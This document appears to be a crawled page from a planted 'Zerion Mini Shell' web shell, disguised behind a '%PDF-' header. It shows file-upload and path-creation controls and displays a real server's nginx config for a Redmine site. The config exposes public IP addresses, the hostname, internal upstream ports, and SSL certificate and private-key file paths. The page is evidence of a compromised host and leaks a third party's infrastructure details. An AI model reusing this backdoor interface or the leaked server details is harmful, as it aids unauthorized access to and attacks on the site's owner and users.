%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/nginx/sites-available/
Upload File :
Create Path :
Current File : //etc/nginx/sites-available/redmine

upstream thin_cluster {
    server 127.0.0.1:3000;
    server 127.0.0.1:3001;
    server 127.0.0.1:3002;
    server 127.0.0.1:3003;
}

server {
    listen 77.93.194.60:80; listen [2a01:430:12b:0:0:0:0:2]:80; listen 127.0.0.1; ## listen for ipv4
    server_name  redmine.varak.net;

    proxy_set_header   Host $http_host;                                                                                                                     
    proxy_set_header   X-Real-IP $remote_addr;                                                                                                                   
    proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header   X-Forwarded-Proto $scheme;

    client_max_body_size       10m;
    client_body_buffer_size    128k;

    proxy_connect_timeout      90;
    proxy_send_timeout         90;
    proxy_read_timeout         90;

    proxy_buffer_size          4k;
    proxy_buffers              4 32k;
    proxy_busy_buffers_size    64k;
    proxy_temp_file_write_size 64k;
    

    root /home/redmine/public;
    proxy_redirect off;

    # Send sensitive stuff via https
    rewrite ^/login(.*) https://redmine.varak.net$request_uri permanent;
    rewrite ^/my/account(.*) https://redmine.varak.net$request_uri permanent;
    rewrite ^/my/password(.*) https://redmine.varak.net$request_uri permanent;
    rewrite ^/admin(.*) https://redmine.varak.net$request_uri permanent;

    location / {
        try_files $uri/index.html $uri.html $uri @cluster;
    }

    location @cluster {
        proxy_pass http://thin_cluster;
    }
}

server {
    listen 77.93.194.60:443 ssl http2; listen [2a01:430:12b:0:0:0:0:2]:443 ssl http2;
    server_name  redmine.varak.net;

    include ssl_params;
    ssl_certificate  /home/waritko/cert/varak_net.pem;
    ssl_certificate_key  /home/waritko/cert/varak_net.key;

    proxy_set_header   Host $http_host;                                                                                                                     
    proxy_set_header   X-Real-IP $remote_addr;                                                                                                                   
    proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header   X-Forwarded-Proto $scheme;

    client_max_body_size       10m;
    client_body_buffer_size    128k;

    proxy_connect_timeout      90;
    proxy_send_timeout         90;
    proxy_read_timeout         90;

    proxy_buffer_size          4k;
    proxy_buffers              4 32k;
    proxy_busy_buffers_size    64k;
    proxy_temp_file_write_size 64k;
    
    proxy_redirect off;
    root /home/redmine/public;

    # When we're back to non-sensitive things, send back to http
    rewrite ^/$ http://redmine.varak.net$request_uri permanent;

    # Examples of URLs we don't want to rewrite (otherwise 404 errors occur):
    # /projects/PROJECTNAME/archive?status=
    # /projects/copy/PROJECTNAME
    # /projects/PROJECTNAME/destroy

    # This should exclude those (tested here: http://www.regextester.com/ )
    if ($uri !~* "^/projects/.*(copy|destroy|archive)") {
        rewrite ^/projects(.*) http://redmine.varak.net$request_uri permanent;
    }

    rewrite ^/guide(.*) http://redmine.varak.net$request_uri permanent;
    rewrite ^/users(.*) http://redmine.varak.net$request_uri permanent;
    rewrite ^/my/page(.*) http://redmine.varak.net$request_uri permanent;
    rewrite ^/logout(.*) http://redmine.varak.net$request_uri permanent;

    location / {
        try_files $uri/index.html $uri.html $uri @cluster;
    }

    location @cluster {
        proxy_pass http://thin_cluster;
    }
}

Zerion Mini Shell 1.0